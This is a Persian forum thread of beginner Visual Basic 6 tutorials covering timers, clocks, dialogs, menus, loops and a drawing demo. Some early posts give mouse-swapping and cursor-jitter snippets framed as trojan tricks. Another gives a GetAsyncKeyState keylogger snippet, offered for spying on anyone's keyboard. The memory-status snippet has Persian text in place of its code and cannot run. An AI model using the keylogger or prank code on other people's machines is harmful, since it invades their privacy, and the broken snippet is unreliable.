نمونه برنامه های VB6 -آموزش از روی مثال

[sinbad68]

سلام.

امروز دو تا برنامه با استفاده از توابع API مي زارم.

اين دو برنامه در اكثر تروجان ها به كار ميره.

كار اين برنامه اين است كه جاي دكمه هاي ماوس رو جا به جا مي كنه.

اين كد را در بخش جنرال برنامه بنويسيد.

'-----API Function-----------
Private Declare Function SwapMouseButton& Lib "user32" (ByVal bSwap As Long)
'-----Code Program----------
'swap Left And Right mouse buttons
SwapMouseButton (True)
'set mouse buttons back to normal
SwapMouseButton (False)

امیدوارم خوشتون بیاد.

 

[sinbad68]

اینم دومين برنامه.

کار این این برنامه مختصات فعلی ماوس را به طور تصادفی در صفحه تایین میکند و با این کار نشانگر

ماوس شما در هر لحظه در یک جای صفحه خواهد بود.

شرح برنامه:

ابتدا باید از تابع Api به نام SetCursorPosاستفاده کنید که به این صورت است.

Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
و باید در فرم تعریف شود.

و سپس یک تایمر با فاصله زمانی(interval) 1 در فرم ایجاد کرده و سپس کدهای زیر را که برای شما

نوشتم را در داخل تایمر قرار دهید و سپس کلیدF5 را فشار دهید .چی می بینی؟

کد تایمر برنامه:

Private Sub Timer1_Timer()
Randomize 1000
Sinbad68 = Rnd(10) * 1000
VB6 = Rnd(10) * 1000
temp = SetCursorPos(sinbad68, VB6)
End Sub

اينم از امروز.

سعي مي كنم زود به زود براتون مطلب بزارم.

پس تا بعد باي باي.

 

[sinbad68]

سلام.

امروز يك برنامه ديگه با استفاده از توابع API براتون مي زارم.

با استفاده از این تابعی که آموزش میدم شما میتونید از کیبورد خودتون یا هرکس دیگه جاسوسی کنید.

البته این کار بیشتر به درد تروجان نویس ها میخوره.

یک پروژه جدید باز کنید و در فرم خود یک Label , Timer قرار دهید سپس در پنجره کد کدهای زیر را

بنویسید:

Private Declare Function GetAsyncKeyState Lib "user32.dll"(Byval vKey as long)as Integer
Private Sub Timer1_Timer
Dim J
For I = 0 To 255
J = 0
J = GetAsyncKeyState(I)
If J <> 0 Then
Label1.Caption = Label1.Caption & Chr(I)
End If
Next
End Sub

برنامه رو اجرا کنید و با زدن کلیدهای کیبورد نتیجه رو ببینید. راستی خاصیت AutSize کنترل Label را
برابر True کنید.

 

[sinbad68]

اينم يك برنامه ديگه كه فكر كنم به كارتون بياد.

كار اين برنامه ساعت جاري سيستم را به شما نشان مي دهد.

ابتدا یک پروژه استاندارد بازکنید سپس روی فرم خود ۱ عدد کنترل تایمر بگذارید وبعد از آن نیز یک تکست

بوکس (TextBox) روی فرم قرار دهیدو کدهای زیر را در پنجره کد (ViewCode) بنویسید.

()Private Sub Form1_Load
Text1.Text = "0"
Timer1.Interval = 1000
End sub
Private sub Timer1_Timer
Text1.Text = Time
end sub

تحلیل کد برنامه:

در خط دوم در روال رویداد لود فرم گفته شد که مقدار Text1 را برابر ۰ کند سپس در خط بعدی خاصیت

Interval تایمر بابر با ۱۰۰۰ که معادل یک ثانیه میشود شد. در خط ششم نیز مقدار تکست باکس ما در هر

ثانیه تغییر میکند و برابر با ساعت جاری سیستم میشود.

Ok

تا بعد .

باي باي.

 

[sinbad68]

سلام.

امروز مي خوام درباره جعبه كنترل CommonDialog براتون بنويسم.

جعبه گفتگو ها در ویژوال بیسیک باعث می شود برنامه های شما پیشرفته تر شود و کاربران از کار کردن با برنامه شما لذت ببرند.

جعبه گفتگو ها در ویژوال بیسیک به شش(۶) دسته تقسیم میشوند که عبارتند از:

۱- جعبه گفتگوی انتخاب رنگ : گفتگویی که به کاربر امکان انتخاب رنگ مورد نظر و حتی دستکاری آن ها
رامی دهد.

۲- انتخاب فونت: گفتگویی برای انتخاب فونت ونوع و اندازه و سبک آنها.

۳- باز کردن فایل: گفتگویی برای باز کردن فایل از پوشه ها و درایوها حتی درایو های شبکه.

۴- سیو(ذخیره کردن) فایل: گفتگویی برای ذخیره کردن فایل در پوشه ها و درایوها.

۵- چاپ: گفتگویی برای انتخاب چاپگر و سایر تنظیمات آن.

۶- کمک ویندوز: سیستم کمک ویندوز را فعال میکند و اگر برنامه شما دارای کمک باشد امکان استفاده از آن
را برای کاربران فراهم می آورد.

برای اضافه کردن کنترل جعبه گفتگو به برنامه خود باید:

۱- بازدن کلیدهای ترکیبی Ctrl + T (از منوی Project گزینه Components را می زنیم) گفتگوی Components را باز کنید .

۲- کنترل Microsoft Common Dialog Control 6.0 را پیدا کنید و آن را تیک بزنید.

۳- دکمه OK را بزنید تا این کنترل به جعبه ابزارتان اضافه شود.

 

[sinbad68]

متدهای کنترل جعبه گفتگو:

متدهای کنترل جعبه گفتگو عبارتند از:

۱- Show Open گفتگوی باز کردن فایل را نمایش خواهد داد.

۲- Show Save گفتگوی ذخیره کردن فایل را نمایش میدهد.

۳- Show Printer گفتگوی انتخاب چاپگر را نمایش میدهد.

۴- Show Color گفتگوی انتخاب رنگ را نمایش میدهد.

۵- Show Font گفتگوی انتخاب فونت را نمایش میدهد.

۶- Show Help گفتگوی کمک ویندوز را نمایش میدهد.

برای ست کردن اینکه کنترل ما کدام گفتگو را نمایش دهد به صورت زیر عمل میکنیم:

CommonDialog1.ShowOpen

CommonDialog1.ShowSave

CommonDialog1.ShowFont

 

[sinbad68]

اينم يك برنامه با جعبع گفت و گو:

ابتدا یک کنترل جعبه گفتگو با نام CommonDialog1 روی فرم و يك Text Box و یک دکمه فرمان به نام

Command1 روی فرم خود قرار دهید روی دکمه Command1 خود دوبار کلیک کنید تا پنجره کد باز

شود.

سپس :

کدهای زیر را در روال رویداد Command1_Click بنویسید.

Private Sub Command1_Click
CommonDialog1.ShowColor
Text1.BackColor = CommonDialog1.Color
End Sub

كار برنامه:

در خط دوم ما گفتیم که کنترل جعبه گفتگو گفتگوی رنگ را باز کند.در خط سوم نیز گفتیم که رنگ پس زمینه

Text box را برابر رنگ انتخابی جعبه گفتگوی رنگ کند.

براي امروز بسه.

تا بعد.

باي باي.

 

[sinbad68]

سلام.

امروز هم يك برنامه با استفاده از API براتون مي زارم.

نمایش مقدار حافظه فیزیکی با ویژوال بیسیک.

این برنامه با استفاده از API مقدار حافظه فیزیکی را برایتان نمایش می ده . این برنامه خیلی ساده است و

توضیحی هم ندارم که براش بدم چون اگه یه نگاه به کدها بندازید می فهمید که چیز خاصی نداره .

فقط یک تایمر و يك فريم و 4 تا Label می خواد.

Private Type Memory
Length As Long
MemoryLoad As Long
TotalPhysMemory As Long
AvailablePhysMemory As Long
End Type

Private Declare Sub GlobalMemoryStatus Lib "kernel32" (M As Memory)

Private Sub Timer1_Timer()
   Dim M As Memory
   GlobalMemoryStatus M
'*************************************************
   LblAvlMem.Caption = Format(CDbl(مقدار حافظه فیزیکی موجود:/ 1048576), "#.## MB")
   LblTotalPhMem.Caption = Format(CDbl(کل حافظه فیزیکی: / 1048576), "#.## MB")
   LblUsedMemory.Caption = Format(CDbl((مقدار حافظه مورد استفاده / 1048576), "#.## MB")
   LblPercentPhMem.Caption = Format(CDbl((/مقدار حافظه فیزیکی بر حسب درصد), "##.#%")
End Sub

امیدوارم خوشتون بیاد.

تا بعد.

باي باي.

 

[sinbad68]

با سلام.

امروز آموزش ساخت منو در VB را به شما ياد مي دم.

قبل از اين بگم كه من به خاطر امتحانات تا چند روز نمي تونم بيام اينجا.

اگه كسي لطف كنه و به جاي من فعلا ادامه بده.

ساخت منو:

منوها : برای قراردادن و طراحی منو برای فرم از منویtools/menu editor را انتخاب میکنیم.

برای افزودن گزینه ای جدید به منو عنوان آن را در کادر caption و نام آن را در کادر name تایپ میکنیم

برای آنکه گزینه فعلی زیر منوی گزینه قبلی شود کلید جهت راست را فشرده و برای لغو آن از کلید جهت

سمت چپ استفاده میکنیم.

برای ترتیب گزینه ها در منو از فلش بالا و پایین استفاده میکنیم و برای آنکه کنار گزینه علامت تیک گذاشته

شود از کادر checked برای فعال کردن گزینه از کادر enabled و برای قابل رویت بودن گزینه از کادر

vizible استفاده میشود .

برای استفاده کردن گزینه ای بین گزینه های دیگر از insert و برای حذف یک گزینه از delete استفاده میشود .

برای آنکه بین گزینه های منو خطی قرار گیرد که مثلا بعضی گزینه ها را از بعضی دیگر جدا کند , گزینه

ای با caption خط فاصله ایجاد میکنیم و برای قرار دادن خط زیر برای یکی از حروف گزینه به منظور

انتخاب گزینه به کمک alt قبل از حرف مورد نظر در caption کاراکتر &را قرار میدهیم :

مثال: &file

خاصیت enabled : در حین اجرای برنامه تغیر این خاصیت به true و false باعث غیر فعال شدن گزینه میشود .

خاصیت visible : اختصاص مقدار false به این خاصیت گزینه را پنهان میکند .

خاصیت checked : خاصیت مقدار true به این خاصیت باعث میشود تا کنار گزینه علامت تیک ظاهر شود.

حالا شما می توانید به راحتی یک منو در VB6 بسازید.

 

[sinbad68]

مثال:

برنامه زير گزینه open را غیر فعال میکند :

mnuopen.enabeld=false

که در اینجا mnuopen نام گزینه است.

 

[sinbad68]

اين هم 3 تا برنامه براي غيبتم.

یک نمونه حلقه تکرار: Do loop :

اول بر روي form يك command ويك textbox رسم مي كنيم.

سپس در داخل coomand كد زير را تايپ مي كنيم.

Private Sub Command1_Click( )
Dim k As Integer
x = Val(Text1.Text)
k = 2
Do While k < x
Print k
k = k + 2
Loop
End Sub

در پايان وقتي كه form را باز كنيم در داخل textbox هرعددي را بنويسيم به فرض مثال اگر 15 را

بنويسيم و بر روي command كليك كنيم اعداد زوج از 1 تا 15 را به ما نشان مي دهد.

 

[sinbad68]

برنامه ساخت timer :

بر روي form يك timer يك label و دو command رسم مي كنيم.

سپس مراحل زير را انجام مي دهيم.

در بخش جنرل كد زير را قرار مي دهيم.

Dim k As Integer

وارد خصوصيات timer شده وگزينه enabled را به false وگزينه interval را 1000 قرار مي دهيم

سپس كد زير را در داخل timer تايپ مي كنيم.

Private Sub Timer1_Timer( )
k = k + 1
Label1.Caption = k
End Sub


3.در داخل يكي از command ها بنام دكمه start كد زير را قرار مي دهيم.

Private Sub Command1_Click( )
Timer1.Enabled = True
End Sub

4.در داخل command دوم به نام دكمه stop كد زير را قرار مي دهيم.

Private Sub Command2_Click( )
Timer1.Enabled = False
End Sub

 

[sinbad68]

برنامه ساخت ساعت :

اول در داخل form يك label و timer رسم كرده ودر داخل خصوصيات timer گزينه interval را 1 قرار

مي دهيم سپس كد زير را در داخل timer تايپ مي كنيم.

Private Sub Timer1_Timer( )
Label1.Caption = Time
End Sub

توجه:

اگر بخواهید ساعت را به تایمر تغییر دهید کافی است که در آخر کد قسمت time یک R به آن اضافه کنید

ویا اگر دوست داشته باشید که تاریخ را برای شما نشان دهد میتوانید به جای time در کد بالا date بنویسید

در ابن صورت ساعت به تاریخ تغییر می کند.

بعد از امتحانات يك برنامه قشنگ براتون مي زارم.
*****
راستي نظرتون در مورد ساختن يك برنامه با كمك هم چيه؟

هر نفر يك قسمتش رو درست كنه.
*****
تا بعد.

باي باي.

 

[M-FiRE]

سلام
ممنون که اینقدر به برو بچ محبت دارید !

اگه پستها رو کمتر می کردید خیلی بهتر بود ... تو یه پست چند تا سورس بزارین .

سورسی داری که بتونه پارامتر فرستاده شده به یه فایل اجرایی رو برگردونه ؟

مثلا :
WMPlayer.exe C:\hayde.dat

یعنی اون C:\hayde.dat رو برگردونه ؟!؟

اگه سورس کد امنیتی هم دارید بزارید ... انتی دیباگ ... انتی دامپ ... انتی تریس و ... !

ممنون از این تاپیک پر محتوا

 

[sinbad68]

سلام
ممنون که اینقدر به برو بچ محبت دارید !

اگه پستها رو کمتر می کردید خیلی بهتر بود ... تو یه پست چند تا سورس بزارین .

ممنون از این تاپیک پر محتوا

با سلام دوست عزيز.

ممنون از پيشنهاد و تشكرتون ولي:

شما اگه اينترنت Dial-up داشتيد اونم با سرعت 14 كيلو بيت كه تازه فقط 2 تا سايت بيشتر باز نمي كنه چه انتظاري

داريد.

در ضمن من دارم بخش بخش جلو ميرم.

من به جز اين فروم بالاخره كارهاي ديگه هم دارم در اينترنت.

به اونجاها هم مي رسيم.

يك كم صبر كنيد.

با تشكر.

 

[saeedsmk]

سلام
خوب هستيد واقعا sinbad68 جان دست تون درد نكنه
به اميد ديدار

 

[sinbad68]

با سلام.

من برگشتم.

اول بگم كسي نبود تو اين چند روز اينجا رو بچرخونه؟

راستي در مورد اون پيشنهاد من فكر كرديد؟

اينم 4 تا برنامه ديگه.

اميدوارم خوشتون بياد.

حروف الفبای انگلیسی :

برنامه ای که حروف الفبای انگلیسی را بر روی form چاپ کند.

در داخل form یک command رسم کرده سپس کد زیر را در داخل آن تایپ كنيد.

Private Sub Command2_Click()
For k = 97 To 122
Print Chr(k);" ";
Next k
End Sub

مي تونيد برنامه رو اجرا كنيد.

فكر نكنم نياز به توضيح داشته باشه.

 

[sinbad68]

برنامه ساخت جدول ضرب با استفاده از حلقه for :

بر روي form يك command رسم كرده و در داخل آن كد زير را بنويسيد.

Private Sub Command1_Click( )
Dim x As Integer
For i = 1 To 10
For k = 1 To 10
Print k * I;
Next k
Print
Next i
End Sub

 

[sinbad68]

ساخت دكمه خروج :

براي ساخت دكمه خروج ( فقط يك جمله) و 3 راه حل :

راه حل اول در داخل form يك command رسم كرده وكد زير را در داخل آن تايپ كنيد.

Private Sub Command1_Click( )
End
End Sub

راه حل دوم در داخل form يك command رسم كرده وكد زير را در داخل آن تايپ كنيد.

Private Sub Command1_Click( )
Me.Hide
End Sub

راه حل سوم در داخل form يك command رسم كرده وكد زير را در داخل آن تايپ كنيد.

Private Sub Command1_Click( )
Unload me
End Sub

اين برنامه رو براي آشنايي بيشتر گذاشتم.

 

[sinbad68]

و اما آخرين برنامه:

برنامه ای براي ساخت گل رز:

اول در داخل form يك timer رسم كرده و وارد خصوصيات آن شويد و interval را 100 قرار بديد

و enabled را به true تغيير دهيد.

در داخل form كد زير را تايپ مي كنيم.

Private Sub Form_Load( )
WindowState = 2
End Sub

سپس كد زير را در داخل timer تايپ مي كنيم.

Private Sub Timer1_Timer()
Call Randomize
Scale (3, -3)-(-3, 3)
b = 8 * Atn(1)
ForeColor = QBColor(Rnd() * 15)
g = 3 * Rnd()
For l = 0 To b Step 0.01
e = g * Sin(6 * l)
x = e * Cos(l)
y = e * Sin(l)
Print "m"
PSet (x, y)
Next l
End Sub

توجه :

اگر بخواهيد شكل گل را تغيير دهيد در كد بالا قسمت e = g * Sin(6 * l) به جاي شماره 6 شماره اي را

به دلخواه خود وارد كنيد سپس شكل گل شما تغيير مي كند.

اين برنامه رو تقديم ميكنم به بچه هاي گل PT.

در مورد اين برنامه لطفا نظر بديد.

فعلا بسه.

راستي من مي خوام برم مسافرت چند روزي نيستم.

يكي به جاي من اينجا رو بگردونه؟

تا بعد.

باي باي.